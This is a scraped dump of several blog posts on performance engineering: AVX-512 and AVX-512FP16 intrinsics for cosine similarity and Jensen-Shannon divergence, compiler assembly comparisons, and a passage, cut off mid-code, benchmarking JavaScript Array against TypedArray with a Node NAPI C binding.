subsets:\nAVX-512F: 512-bit SIMD instructions. AVX-512DQ: double-precision floating-point instructions. AVX-512BW: byte and word instructions. AVX-512VL: vector length extensions. AVX-512CD: conflict detection instructions. AVX-512ER: exponential and reciprocal instructions. AVX-512PF: prefetch instructions. AVX-512VBMI: vector byte manipulation instructions. AVX-512IFMA: integer fused multiply-add instructions. AVX-512VBMI2: vector byte manipulation instructions 2. AVX-512VNNI: vector neural network instructions. AVX-512BITALG: bit algorithms instructions. AVX-512VPOPCNTDQ: vector population count instructions. AVX-5124VNNIW: vector neural network instructions word variable precision. AVX-5124FMAPS: fused multiply-add instructions single precision. AVX-512VP2INTERSECT: vector pairwise intersect instructions. AVX-512BF16: bfloat16 instructions. AVX-512FP16: half-precision floating-point instructions. Luckily, we won\u0026rsquo;t need all of them today. If you are curious, you can read more about them in the Intel 64 and IA-32 Architectures Software Developer\u0026rsquo;s Manual\u0026hellip; but be ready, it\u0026rsquo;s a very long read.\nMoreover, we don\u0026rsquo;t have to write the Assembly per se, as we can use the SIMD Intrinsics to essentially write the Assembly instructions without leaving C.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 __attribute__((target(\u0026#34;avx512f,avx512vl\u0026#34;))) // inline static simsimd_f32_t simsimd_avx512_f32_cos(simsimd_f32_t const* a, simsimd_f32_t const* b, simsimd_size_t n) { __m512 ab_vec = _mm512_set1_ps(0); __m512 a2_vec = _mm512_set1_ps(0); __m512 b2_vec = _mm512_set1_ps(0); for (simsimd_size_t i = 0; i \u0026lt; n; i += 16) { __mmask16 mask = n - i \u0026gt;= 16 ? 0xFFFF : ((1u \u0026lt;\u0026lt; (n - i)) - 1u); __m512 a_vec = _mm512_maskz_loadu_ps(mask, a + i); __m512 b_vec = _mm512_maskz_loadu_ps(mask, b + i); ab_vec = _mm512_fmadd_ps(a_vec, b_vec, ab_vec); a2_vec = _mm512_fmadd_ps(a_vec, a_vec, a2_vec); b2_vec = _mm512_fmadd_ps(b_vec, b_vec, b2_vec); } simsimd_f32_t ab = _mm512_reduce_add_ps(ab_vec); simsimd_f32_t a2 = _mm512_reduce_add_ps(a2_vec); simsimd_f32_t b2 = _mm512_reduce_add_ps(b2_vec); __m128d a2_b2 = _mm_set_pd((double)a2, (double)b2); __m128d rsqrts = _mm_mask_rsqrt14_pd(_mm_setzero_pd(), 0xFF, a2_b2); double rsqrts_array[2]; _mm_storeu_pd(rsqrts_array, rsqrts); return 1 - ab * rsqrts_array[0] * rsqrts_array[1]; } Let\u0026rsquo;s start with a relatively simple implementation:\nA single for-loop iterates through 2 vectors, scanning up to 16 entries simultaneously. When it reaches the end of the vectors, it uses a mask to load the remaining entries with the ((1u \u0026lt;\u0026lt; (n - i)) - 1u) mask. It doesn\u0026rsquo;t expect the vectors to be aligned, so it uses the loadu instructions. It avoids separate additions using the fmadd instruction, which computes a * b + c. It uses the reduce_add intrinsic to sum all the elements in the vector, which is not a SIMD code, but the compiler can optimize that part for us. It uses the rsqrt14 instruction to compute the reciprocal square root of the sum of a2 and b2, very accurately approximating 1/sqrt(a2) and 1/sqrt(b2), and avoiding LibC calls. Benchmarking this code and its symmetric counterparts for other data types, we get the following:\nfloats: 118 ns ~ 553x faster than Python. halfs: 79 ns ~ 827x faster than Python. ints: 158 ns ~ 413x faster than Python. We are now in the higher three digits.\nBMI2 and goto The world is full of prejudice and unfairness, and some of the biggest ones in programming are:\nconsidering a goto to be an anti-pattern. not using the BMI2 family of assembly instructions. The first one is handy when optimizing low-level code and avoiding unnecessary branching. The second is a tiny set of bzhi, pdep, pext, and a few other, convenient for bit manipulation! We will restore fairness and introduce them to our code, replacing double-precision computations with single-precision.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 __attribute__((target(\u0026#34;avx512f,avx512vl,bmi2\u0026#34;))) // inline static simsimd_f32_t simsimd_avx512_f32_cos(simsimd_f32_t const* a, simsimd_f32_t const* b, simsimd_size_t n) { __m512 ab_vec = _mm512_set1_ps(0); __m512 a2_vec = _mm512_set1_ps(0); __m512 b2_vec = _mm512_set1_ps(0); __m512 a_vec, b_vec; simsimd_avx512_f32_cos_cycle: if (n \u0026lt; 16) { __mmask16 mask = _bzhi_u32(0xFFFFFFFF, n); a_vec = _mm512_maskz_loadu_ps(mask, a); b_vec = _mm512_maskz_loadu_ps(mask, b); n = 0; } else { a_vec = _mm512_loadu_ps(a); b_vec = _mm512_loadu_ps(b); a += 16, b += 16, n -= 16; } ab_vec = _mm512_fmadd_ps(a_vec, b_vec, ab_vec); a2_vec = _mm512_fmadd_ps(a_vec, a_vec, a2_vec); b2_vec = _mm512_fmadd_ps(b_vec, b_vec, b2_vec); if (n) goto simsimd_avx512_f32_cos_cycle; simsimd_f32_t ab = _mm512_reduce_add_ps(ab_vec); simsimd_f32_t a2 = _mm512_reduce_add_ps(a2_vec); simsimd_f32_t b2 = _mm512_reduce_add_ps(b2_vec); // Compute the reciprocal square roots of a2 and b2 __m128 rsqrts = _mm_rsqrt14_ps(_mm_set_ps(0.f, 0.f, a2 + 1.e-9f, b2 + 1.e-9f)); simsimd_f32_t rsqrt_a2 = _mm_cvtss_f32(rsqrts); simsimd_f32_t rsqrt_b2 = _mm_cvtss_f32(_mm_shuffle_ps(rsqrts, rsqrts, _MM_SHUFFLE(0, 0, 0, 1))); return 1 - ab * rsqrt_a2 * rsqrt_b2; } Result for floats: 87.4 ns ~ 747x faster than Python.\nOne of the reasons the BMI2 extensions didn\u0026rsquo;t take off originally is that, AMD processors before Zen 3 implemented pdep and pext with a latency of 18 cycles. Newer CPUs do it with the latency of 3 cycles.\nFP16 Ice Lake CPUs supported all the instructions we\u0026rsquo;ve used so far. In contrast, the newer Sapphire Rapids instructions add native support for half-precision math.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 simsimd_avx512_f16_cos_cycle: if (n \u0026lt; 32) { __mmask32 mask = _bzhi_u32(0xFFFFFFFF, n); a_i16_vec = _mm512_maskz_loadu_epi16(mask, a); b_i16_vec = _mm512_maskz_loadu_epi16(mask, b); n = 0; } else { a_i16_vec = _mm512_loadu_epi16(a); b_i16_vec = _mm512_loadu_epi16(b); a += 32, b += 32, n -= 32; } ab_vec = _mm512_fmadd_ph(_mm512_castsi512_ph(a_i16_vec), _mm512_castsi512_ph(b_i16_vec), ab_vec); a2_vec = _mm512_fmadd_ph(_mm512_castsi512_ph(a_i16_vec), _mm512_castsi512_ph(a_i16_vec), a2_vec); b2_vec = _mm512_fmadd_ph(_mm512_castsi512_ph(b_i16_vec), _mm512_castsi512_ph(b_i16_vec), b2_vec); if (n) goto simsimd_avx512_f16_cos_cycle; The body of our function has changed:\nwe are now scanning 32 entries per cycle, as the scalars are 2x smaller. we are using the _ph intrinsics, the half-precision counterparts of the _ps intrinsics. Result for halfs: 51.8 ns ~ 1'260x faster than Python.\nVNNI Today\u0026rsquo;s final instruction we\u0026rsquo;ll explore is the vpdpbusd from the AVX-512VNNI subset. It multiplies 8-bit integers, generating 16-bit intermediate results, which are then added to a 32-bit accumulator. With smaller scalars, we can house 64 of them in a single ZMM register.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 simsimd_avx512_i8_cos_cycle: if (n \u0026lt; 64) { __mmask64 mask = _bzhi_u64(0xFFFFFFFFFFFFFFFF, n); a_vec = _mm512_maskz_loadu_epi8(mask, a); b_vec = _mm512_maskz_loadu_epi8(mask, b); n = 0; } else { a_vec = _mm512_loadu_epi8(a); b_vec = _mm512_loadu_epi8(b); a += 64, b += 64, n -= 64; } ab_i32s_vec = _mm512_dpbusd_epi32(ab_i32s_vec, a_vec, b_vec); a2_i32s_vec = _mm512_dpbusd_epi32(a2_i32s_vec, a_vec, a_vec); b2_i32s_vec = _mm512_dpbusd_epi32(b2_i32s_vec, b_vec, b_vec); if (n) goto simsimd_avx512_i8_cos_cycle; After compiling, you might expect to see three vpdpbusd invocations. However, the compiler had other ideas. Instead of sticking to our expected flow, it duplicated vpdpbusd calls in both branches of the if condition to minimize code sections and jumps. Here\u0026rsquo;s a glimpse of our main operational section:\n.L2: ; Check `if (n \u0026lt; 64)` and jump to the L7 if it\u0026#39;s true. cmp rax, rdx je .L7 ; Load 64 bytes from `a` and `b` into `zmm1` and `zmm0`. vmovdqu8 zmm1, ZMMWORD PTR [rdi] vmovdqu8 zmm0, ZMMWORD PTR [rsi] ; Increment `a` and `b` pointers by 64. add rdi, 64 add rsi, 64 ; Perform mixed-precision dot-products. vpdpbusd zmm4, zmm1, zmm0 ; ab = b * a vpdpbusd zmm3, zmm1, zmm1 ; b2 = b * b vpdpbusd zmm2, zmm0, zmm0 ; a2 = a * a ; Subtract the number of remaining entries and jump back. sub rdx, 64 jne .L2 .L7: ; Process the tail, by building the `k1` mask first. ; We avoid `k0`, which is a hardcoded constant used to indicate unmasked operations. mov rdx, -1 bzhi rax, rdx, rax kmovq k1, rax ; Load under 64 bytes from `a` and `b` into `zmm1` and `zmm0`, ; using the mask from the `k1`, which can be applied to any AVX-512 argument. vmovdqu8 zmm1{k1}{z}, ZMMWORD PTR [rdi] vmovdqu8 zmm0{k1}{z}, ZMMWORD PTR [rsi] ; Perform mixed-precision dot-products. vpdpbusd zmm3, zmm1, zmm1 ; b2 = b * b vpdpbusd zmm4, zmm1, zmm0 ; ab = b * a vpdpbusd zmm2, zmm0, zmm0 ; a2 = a * a ; Exit the loop. jmp .L4 It\u0026rsquo;s often intriguing to see how compilers shuffle around my instructions, especially when it seems somewhat arbitrary in brief code segments. Our heavy SIMD will anyways be decoded into micro-ops, and then the CPU rearranges them all over again, disregarding compiler\u0026rsquo;s sequence. Still, upon testing this with the Google Benchmark library, we observed the following for ints: 25.9 ns, which is roughly 2'521 times faster than our original Python baseline. Delivered as promised 🤗\nConclusion There\u0026rsquo;s a common belief that you need a massive infrastructure, akin to what giants like OpenAI or Google possess, to create impactful technology. However, I\u0026rsquo;m a proponent of the idea that many amazing innovations can spring from humble beginnings – even on a shoestring budget. If you share this sentiment and are keen on optimizing and innovating, you might be interested in some other libraries I\u0026rsquo;ve had a hand in. 😉\nAppendix: Comparing Compilers For those eager to delve deeper, examining the Assembly generated by different compilers can be insightful. A popular comparison is between GCC and Intel\u0026rsquo;s new ICX compiler, with the latter now being based on LLVM. Before diving into the Assembly details, let\u0026rsquo;s first benchmark their performance.\n1 2 3 4 5 6 $ cmake -DCMAKE_C_COMPILER=\u0026#34;gcc-12\u0026#34; -DCMAKE_CXX_COMPILER=\u0026#34;g++-12\u0026#34; -DCMAKE_BUILD_TYPE=Release -DSIMSIMD_BUILD_BENCHMARKS=1 -B ./build_release $ cmake --build build_release --config Release \u0026amp;\u0026amp; ./build_release/simsimd_bench --benchmark_out=\u0026#34;gcc-12.json\u0026#34; --benchmark_filter=1536d $ source /opt/intel/oneapi/setvars.sh $ cmake -DCMAKE_C_COMPILER=\u0026#34;icx\u0026#34; -DCMAKE_CXX_COMPILER=\u0026#34;icpx\u0026#34; -DCMAKE_BUILD_TYPE=Release -DSIMSIMD_BUILD_BENCHMARKS=1 -B ./build_release $ cmake --build build_release --config Release \u0026amp;\u0026amp; ./build_release/simsimd_bench --benchmark_out=\u0026#34;intel-2023.json\u0026#34; --benchmark_filter=1536d The above script compiles the code using both compilers and then runs each binary, exporting the results into distinct JSON files. Afterwards, you can use Google Benchmark\u0026rsquo;s lesser-known tool, compare.py, to determine if there are significant performance differences and whether a deeper dive into the Assembly is warranted:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $ mkdir -p gbench $ wget https://github.com/google/benchmark/blob/main/tools/compare.py?raw=true -O compare.py $ wget https://github.com/google/benchmark/blob/main/tools/gbench/report.py?raw=true -O gbench/report.py $ wget https://github.com/google/benchmark/blob/main/tools/gbench/util.py?raw=true -O gbench/util.py $ python compare.py benchmarks gcc-12.json intel-2023.json Comparing gcc-12.json to intel-2023.json Benchmark Time CPU Time Old Time New CPU Old CPU New ---------------------------------------------------------------------------------------------------------------------------------------------- avx2_f16_cos_1536d/min_time:10.000/threads:1 +0.0002 +0.0002 235 235 235 235 avx2_i8_cos_1536d/min_time:10.000/threads:1 -0.0034 -0.0034 91 91 91 91 avx512_f16_cos_1536d/min_time:10.000/threads:1 +0.0024 +0.0024 52 52 52 52 avx512_i8_cos_1536d/min_time:10.000/threads:1 +0.0110 +0.0110 26 26 26 26 avx512_f32_cos_1536d/min_time:10.000/threads:1 +0.0206 +0.0206 87 89 87 89 serial_f16_cos_1536d/min_time:10.000/threads:1 -0.0013 -0.0013 1988 1985 1988 1985 serial_f32_cos_1536d/min_time:10.000/threads:1 -0.0000 -0.0000 1118 1118 1118 1118 serial_i8_cos_1536d/min_time:10.000/threads:1 -0.0001 -0.0001 299 299 299 299 From the results, we observe minimal runtime differences between the two compilers. The generated Assembly is remarkably similar, particularly in the critical sections. Intel\u0026rsquo;s output is often 10% shorter which is typically advantageous. The most pronounced differences emerge outside of the for loop. Notably, the _mm512_reduce_add_epi32 intrinsic doesn\u0026rsquo;t correspond directly to a specific SIMD instruction, granting the compilers a bit more leeway:\nGCC opts for a lengthier reduction using vextracti64x4 and vextracti64x2. Intel prefers the succinct vextracti128. Both compilers employ the vpshufd for shuffling but use varied masks. For a detailed exploration, visit the Compiler Explorer.\n","permalink":"https://ashvardanian.com/posts/python-c-assembly-comparison/","summary":"\u003cp\u003e\u003ca href=\"/tags/less-slow/\"\u003eIn this fourth article of the \u0026ldquo;Less Slow\u0026rdquo; series\u003c/a\u003e, I\u0026rsquo;m accelerating \u003ca href=\"https://github.com/unum-cloud\"\u003eUnum\u0026rsquo;s open-source Vector Search primitives\u003c/a\u003e used by some great database and cloud providers to replace Meta\u0026rsquo;s \u003ca href=\"https://github.com/facebookresearch/faiss\"\u003eFAISS\u003c/a\u003e and scale-up search in their products. This time, our focus is on the most frequent operation for these tasks - computing the the Cosine Similarity/Distance between two vectors. It\u0026rsquo;s so common, even doubling it\u0026rsquo;s performance can have a noticeable impact on applications economics. But compared to a pure Python baseline our \u003cstrong\u003esingle-threaded performance grew by a factor of 2'500x\u003c/strong\u003e. Let\u0026rsquo;s go through optimizations one by one:\u003c/p\u003e","title":"Python, C, Assembly - 2'500x Faster Cosine Similarity 📐"},{"content":"When our Python code is too slow, like most others we switch to C and often get 100x speed boosts, just like when we replaced SciPy distance computations with SimSIMD. But imagine going 100x faster than C code!\nIt sounds crazy, especially for number-crunching tasks that are \u0026ldquo;data-parallel\u0026rdquo; and easy for compilers to optimize. In such spots the compiler will typically \u0026ldquo;unroll\u0026rdquo; the loop, vectorize the code, and use SIMD instructions to process multiple data elements in parallel. But I\u0026rsquo;ve found a simple case, where the GNU C Compiler (GCC 12) failed to do so, and lost to hand-written SIMD code by a factor of 119. Enough to make the friendly bull compiler cry.\nFor the curious, the code is already part of my SimSIMD library on GitHub, and to be fair, today, it\u0026rsquo;s unimaginable that a compiler can properly optimize high-level code choosing from thousands of complex Assembly instructions, same way as a human can. So let\u0026rsquo;s see how we\u0026rsquo;ve got to a two-orders-of-magnitude speedup.\nBackground Continuing with my work on USearch and the core SimSIMD library, I\u0026rsquo;ve turned my attention to speeding up the Jensen Shannon divergence, a symmetric variant of the Kullback-Leibler divergence, popular in stats, bioinformatics and cheminformatics.\n$$ JS(P, Q) = \\frac{1}{2} D(P || M) + \\frac{1}{2} D(Q || M) $$\n$$ M = \\frac{1}{2}(P + Q), D(P || Q) = \\sum P(i) \\cdot \\log \\left( \\frac{P(i)}{Q(i)} \\right) $$\nIt\u0026rsquo;s tougher to compute than the usual Cosine Similarity, mainly because it needs to crunch logarithms, which are pretty slow with LibC\u0026rsquo;s logf and most other math libraries. So, I reworked the logarithm part and the rest of the code using AVX-512 and AVX-512FP16 SIMD goodies for Intel\u0026rsquo;s Sapphire Rapids 2022 CPUs.\nOptimizations Logarithm Computation. Instead of using multiple bitwise operations, I now use _mm512_getexp_ph and _mm512_getmant_ph to pull out the exponent and the mantissa of the floating-point number, which makes things simpler. I\u0026rsquo;ve also brought in Horner\u0026rsquo;s method for the polynomial approximation. Division Avoidance. To skip over the slow division operations, I\u0026rsquo;ve used reciprocal approximations - _mm512_rcp_ph for half-precision and _mm512_rcp14_ps for single-precision. Found out _mm512_rcp28_ps wasn\u0026rsquo;t needed for this work. Handling Zeros. I\u0026rsquo;m using _mm512_cmp_ph_mask to create a mask for near-zero values, which avoids having to add a small \u0026ldquo;epsilon\u0026rdquo; to every component, making it cleaner and more accurate. Parallel Accumulation. I now accumulate $KL(P||Q)$ and $KL(Q||P)$ in different registers, and use _mm512_maskz_fmadd_ph to replace separate addition and multiplication operations, which makes the calculation more efficient. Implementation The basic Jensen Shannon divergence implementation in C 99 appears as follows:\n1 2 3 4 5 6 7 8 9 10 11 12 inline static simsimd_f32_t simsimd_serial_f32_js(simsimd_f32_t const* a, simsimd_f32_t const* b, simsimd_size_t n) { simsimd_f32_t sum_a = 0; simsimd_f32_t sum_b = 0; for (simsimd_size_t i = 0; i \u0026lt; n; i++) { simsimd_f32_t m = (a[i] + b[i]) * 0.5f; if (m \u0026gt; 1e-6f) { sum_a += a[i] * logf(a[i] / m); sum_b += b[i] * logf(b[i] / m); } } return 0.5f * (sum_a + sum_b); } This is a straightforward implementation utilizing the log2f function from LibC. To enhance its speed, one approach is to eliminate the if (m \u0026gt; 1e-6f) branch which is there to prevent division by zero. Instead, we could add a small epsilon to every component:\n1 2 3 simsimd_f32_t m = (a[i] + b[i]) * 0.5f; sum_a += a[i] * logf((a[i] + 1e-6f) / (m + 1e-6f)); sum_b += b[i] * logf((b[i] + 1e-6f) / (m + 1e-6f)); However, the AVX-512FP16 implementation that I ended up with is quite different:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 __attribute__((target(\u0026#34;avx512f,avx512vl,avx512fp16\u0026#34;))) inline static simsimd_f32_t simsimd_avx512_f16_js(simsimd_f16_t const* a, simsimd_f16_t const* b, simsimd_size_t n) { __m512h sum_a_vec = _mm512_set1_ph((_Float16)0); __m512h sum_b_vec = _mm512_set1_ph((_Float16)0); __m512h epsilon_vec = _mm512_set1_ph((_Float16)1e-6f); for (simsimd_size_t i = 0; i \u0026lt; n; i += 32) { // Masked loads prevent reading beyond array limits __mmask32 mask = n - i \u0026gt;= 32 ? 0xFFFFFFFF : ((1u \u0026lt;\u0026lt; (n - i)) - 1u); __m512h a_vec = _mm512_castsi512_ph(_mm512_maskz_loadu_epi16(mask, a + i)); __m512h b_vec = _mm512_castsi512_ph(_mm512_maskz_loadu_epi16(mask, b + i)); __m512h m_vec = _mm512_mul_ph(_mm512_add_ph(a_vec, b_vec), _mm512_set1_ph((_Float16)0.5f)); // Masking helps sidestep division by zero issues later __mmask32 nonzero_mask_a = _mm512_cmp_ph_mask(a_vec, epsilon_vec, _CMP_GE_OQ); __mmask32 nonzero_mask_b = _mm512_cmp_ph_mask(b_vec, epsilon_vec, _CMP_GE_OQ); __mmask32 nonzero_mask = nonzero_mask_a \u0026amp; nonzero_mask_b \u0026amp; mask; // Approximate the reciprocal of `m` to avoid two division operations __m512h m_recip_approx = _mm512_rcp_ph(m_vec); __m512h ratio_a_vec = _mm512_mul_ph(a_vec, m_recip_approx); __m512h ratio_b_vec = _mm512_mul_ph(b_vec, m_recip_approx); // Compute log2, adjusting with `loge(2)` to get the natural logarithm __m512h log_ratio_a_vec = simsimd_avx512_f16_log2(ratio_a_vec); __m512h log_ratio_b_vec = simsimd_avx512_f16_log2(ratio_b_vec); // FMA boosts efficiency by replacing separate mul and add operations sum_a_vec = _mm512_maskz_fmadd_ph(nonzero_mask, a_vec, log_ratio_a_vec, sum_a_vec); sum_b_vec = _mm512_maskz_fmadd_ph(nonzero_mask, b_vec, log_ratio_b_vec, sum_b_vec); } simsimd_f32_t log2_normalizer = 0.693147181f; return _mm512_reduce_add_ph(_mm512_add_ph(sum_a_vec, sum_b_vec)) * 0.5f * log2_normalizer; } This version leverages GCC attributes to ensure the compiler processes the AVX512-FP16 instructions, even on older CPUs. It calls the simsimd_avx512_f16_log2 function, inlined below:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 __attribute__((target(\u0026#34;avx512f,avx512vl,avx512fp16\u0026#34;))) inline __m512h simsimd_avx512_f16_log2(__m512h x) { // Extract the exponent and mantissa __m512h one = _mm512_set1_ph((_Float16)1); __m512h e = _mm512_getexp_ph(x); __m512h m = _mm512_getmant_ph(x, _MM_MANT_NORM_1_2, _MM_MANT_SIGN_src); // Compute the polynomial using Horner\u0026#39;s method __m512h p = _mm512_set1_ph((_Float16)-3.4436006e-2f); p = _mm512_fmadd_ph(m, p, _mm512_set1_ph((_Float16)3.1821337e-1f)); p = _mm512_fmadd_ph(m, p, _mm512_set1_ph((_Float16)-1.2315303f)); p = _mm512_fmadd_ph(m, p, _mm512_set1_ph((_Float16)2.5988452f)); p = _mm512_fmadd_ph(m, p, _mm512_set1_ph((_Float16)-3.3241990f)); p = _mm512_fmadd_ph(m, p, _mm512_set1_ph((_Float16)3.1157899f)); return _mm512_add_ph(_mm512_mul_ph(p, _mm512_sub_ph(m, one)), e); } It computes the polynomial approximation of the logarithm, using Horner\u0026rsquo;s method, accumulating five components, and then adds the exponent back to the result.\nBenchmarks I carried out benchmarks at both Python and C++ layers, comparing auto-vectorization on GCC against our new implementation on an Intel Sapphire Rapids CPU on AWS. The newest LTS Ubuntu version is 22.04, which comes with GCC 11 and doesn\u0026rsquo;t support AVX512-FP16 intrinsics. So I\u0026rsquo;ve further upgraded the compiler on the machine to GCC 12 and compiled it with -O3, -march=native, and -ffast-math flags.\nLooking at the logs from the Google Benchmark suite, we see that the benchmark was executed on all cores of the 4-core instance, which might have tilted the scales in favor of the old non-vectorized solution, but the gap is still outrageous.\nSingle-Precision Math:\nImplementation Pairs/s Gigabytes/s Speedup Absolute Error Relative Error serial_f32_js_1536d 0.243 M/s 2.98 G/s 0 0 avx512_f32_js_1536d 1.127 M/s 13.84 G/s 4.64x 0.001 345u Half-Precision Math:\nImplementation Pairs/s Gigabytes/s Speedup Absolute Error Relative Error serial_f16_js_1536d 0.018 M/s 0.11 G/s 0.123 0.035 avx2_f16_js_1536d 0.547 M/s 3.36 G/s 30.39x 0.011 0.003 avx512_f16_js_1536d 2.139 M/s 13.14 G/s 118.84x 0.070 0.020 Undoubtedly, the outcomes may fluctuate based on the vector size. Typically, I employ 1536 dimensions, which align with the size of OpenAI Ada embeddings, a standard in NLP tasks. But the most interesting applications of JS divergence would be far from NLP - closer to natural sciences.\nThe application I am most excited about - clustering of Billions of different protein sequences without any Multiple Sequence Alignment procedures. Sounds interesting? Check out the clustering capabilities of USearch 🤗\n","permalink":"https://ashvardanian.com/posts/gcc-12-vs-avx512fp16/","summary":"\u003cp\u003eWhen our Python code is too slow, like most others we switch to C and often get 100x speed boosts, just like when we \u003ca href=\"/posts/simsimd-faster-scipy/\"\u003ereplaced SciPy distance computations with SimSIMD\u003c/a\u003e. But imagine going 100x faster than C code!\u003c/p\u003e\n\u003cp\u003eIt sounds crazy, especially for number-crunching tasks that are \u0026ldquo;data-parallel\u0026rdquo; and easy for compilers to optimize.\nIn such spots the compiler will typically \u0026ldquo;unroll\u0026rdquo; the loop, vectorize the code, and use SIMD instructions to process multiple data elements in parallel.\nBut I\u0026rsquo;ve found a simple case, where the \u003ca href=\"https://en.wikipedia.org/wiki/GNU_Compiler_Collection\"\u003eGNU C Compiler\u003c/a\u003e (GCC 12) failed to do so, and lost to hand-written SIMD code by a factor of \u003cstrong\u003e119\u003c/strong\u003e.\nEnough to make the friendly bull compiler cry.\u003c/p\u003e","title":"GCC Compiler vs Human - 119x Faster Assembly 💻🆚🧑‍💻"},{"content":"You\u0026rsquo;ve probably heard about AI a lot this year. Lately, there\u0026rsquo;s been talk about something called Retrieval Augmented Generation (RAG). Unlike a regular chat with ChatGPT, RAG lets ChatGPT search through a database for helpful information. This makes the conversation better and the answers more on point.\nUsually, a Vector Search engine is used as the database. It\u0026rsquo;s good at finding similar data points in a big pile of data. These data points are often at least 256-dimensional, meaning they have many Number-s. If you use JavaScript, you might wonder whether to use the built-in Array type or the more specialized TypedArray for this job.\nIn Python, we\u0026rsquo;ve seen up to a 300x speed difference handling these data points, depending on your tools. Now, let\u0026rsquo;s see how JavaScript stacks up.\nChoosing Between Array and TypedArray? The way TypedArray is set up is quite different from Array. It organizes data in a continuous memory buffer, similar to how C++\u0026rsquo;s std::vector operates. This setup allows the CPU to read values in sequence from the memory, using the CPU\u0026rsquo;s caches effectively. This should, in theory, lead to better performance. Well, that\u0026rsquo;s my hunch. Let\u0026rsquo;s put this to the test with a benchmark. We\u0026rsquo;ll create 1536-dimensional vectors akin to those churned out by OpenAI\u0026rsquo;s Ada \u0026ldquo;embeddings\u0026rdquo; API – a well-known solution ¹ to vectorize textual ² content.\n1 2 3 4 5 const size = 1536; const array1 = Array.from({ length: size }, () =\u0026gt; Math.random()); const array2 = Array.from({ length: size }, () =\u0026gt; Math.random()); const floatArray1 = new Float32Array(array1); const floatArray2 = new Float32Array(array2); To measure the performance of our arrays, we\u0026rsquo;ll compute the Cosine Distance between two vectors:\n$$ \\text{cosine distance}(A, B) = 1 - \\frac{A \\cdot B}{|A|_2 \\times |B|_2} $$\nThe JavaScript implementation of the above formula:\n1 2 3 4 5 6 7 8 9 10 11 function cosineDistance(a, b) { let dotProduct = 0; let magA = 0; let magB = 0; for (let i = 0; i \u0026lt; a.length; i++) { dotProduct += a[i] * b[i]; magA += a[i] * a[i]; magB += b[i] * b[i]; } return 1 - (dotProduct / (Math.sqrt(magA) * Math.sqrt(magB))); } This function computes the dot product of two vectors and normalizes it by their magnitudes. Once you\u0026rsquo;ve got benchmark installed with npm install benchmark, it\u0026rsquo;s time to set up the benchmark.Suite:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import benchmark from \u0026#39;benchmark\u0026#39;; const suite = new benchmark.Suite(); suite .add(\u0026#39;Array of Numbers\u0026#39;, () =\u0026gt; { cosineDistance(array1, array2); }) .add(\u0026#39;TypedArray of Float32\u0026#39;, () =\u0026gt; { cosineDistance(floatArray1, floatArray2); }) .on(\u0026#39;cycle\u0026#39;, (event) =\u0026gt; { console.log(String(event.target)); }) .on(\u0026#39;complete\u0026#39;, () =\u0026gt; { console.log(\u0026#39;Fastest is \u0026#39; + suite.filter(\u0026#39;fastest\u0026#39;).map(\u0026#39;name\u0026#39;)); }) .run({ noCache: true, async: false, }); I\u0026rsquo;ll use the c7g instances from the AWS Graviton3 family for the benchmarks. And here\u0026rsquo;s how our code fares:\nContainer Speed Change Array of Numbers 707,820 ops/sec TypedArray of Float32 208,425 ops/sec 3.4 x slowdown Surprisingly, TypedArray trails behind Array by 3.4x! So much for optimization! Still, note that this comparison isn\u0026rsquo;t exactly apples to apples regarding memory usage; TypedArray is much more memory-efficient!\n¹ While commercial endpoints offer robust solutions, there are equally powerful open-source feature-extraction models available on HuggingFace worth considering.\n² Beyond text, vector representations can encapsulate various content types. For instance, Unum\u0026rsquo;s UForm specializes in vectorizing images.\nWhy is TypedArray Slow? Heads up, we\u0026rsquo;re stepping into guesswork territory here. Though I\u0026rsquo;ve been a systems developer for a long time, my experience with JavaScript is barely a week in 20 years. But I have a hunch.\nIn the C++ world, there are std::vector and std::valarray. std::valarray was designed as a special array class for math operations, packed with \u0026ldquo;optimizations\u0026rdquo; for things like basic math, bit-level functions, exponentials, and trigonometry. But it didn\u0026rsquo;t catch on, and people talk about it more on StackOverflow than use it on GitHub. It becomes a hassle when speed isn\u0026rsquo;t a big deal and doesn\u0026rsquo;t deliver enough when speed is crucial. So it\u0026rsquo;s left on the shelf.\nTypedArray in JavaScript seems to have a rougher time. It comes with zero math functions right off the bat, and its primary use is changing raw memory buffers into different types. With only a few developers using it, it seems like all the effort to make things run faster has been put into Array. So, what\u0026rsquo;s the point of TypedArray? Aside from using less memory, does it have anything else to offer?\nSupercharging TypedArray The TypedArray in JavaScript, much like Python\u0026rsquo;s \u0026ldquo;Buffer Protocol,\u0026rdquo; lets you dive into the underlying memory buffer as a straightforward byte array. This is handy when interacting with C/C++ libraries, precisely the route we\u0026rsquo;re taking here. Let\u0026rsquo;s rewrite the cosineDistance into pure C 99.\n1 2 3 4 5 6 7 8 9 10 11 12 13 #include \u0026lt;math.h\u0026gt; // for `sqrtf` implementation float cosineDistance(float* a, float* b, int length) { float dotProduct = 0.0f; float magA = 0.0f; float magB = 0.0f; for (int i = 0; i \u0026lt; length; i++) { dotProduct += a[i] * b[i]; magA += a[i] * a[i]; magB += b[i] * b[i]; } return 1.0f - (dotProduct / (sqrtf(magA) * sqrtf(magB))); } This code is almost identical to the JS variant, but we must expose it to Node. For that, one can use the NAPI. Every function in the binding gets 2 things:\nenvironment env for memory management and error handling, callback info for accessing the arguments. The arguments are later parsed with napi_get_cb_info, unpacked from TypedArray using the napi_get_typedarray_info, and the result is converted back to JavaScript with napi_create_double. Putting it together:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 #include \u0026lt;node_api.h\u0026gt; napi_value cosineDistanceAPI(napi_env env, napi_callback_info info) { size_t argc = 2; napi_value args[2]; napi_status status; // Get callback info and ensure the argument count is correct status = napi_get_cb_info(env, info, \u0026amp;argc, args, NULL, NULL); if (status != napi_ok || argc != 2) { napi_throw_error(env, NULL, \u0026#34;Wrong number of arguments\u0026#34;); return NULL; } // Obtain the typed arrays from the arguments void *data_a, *data_b; 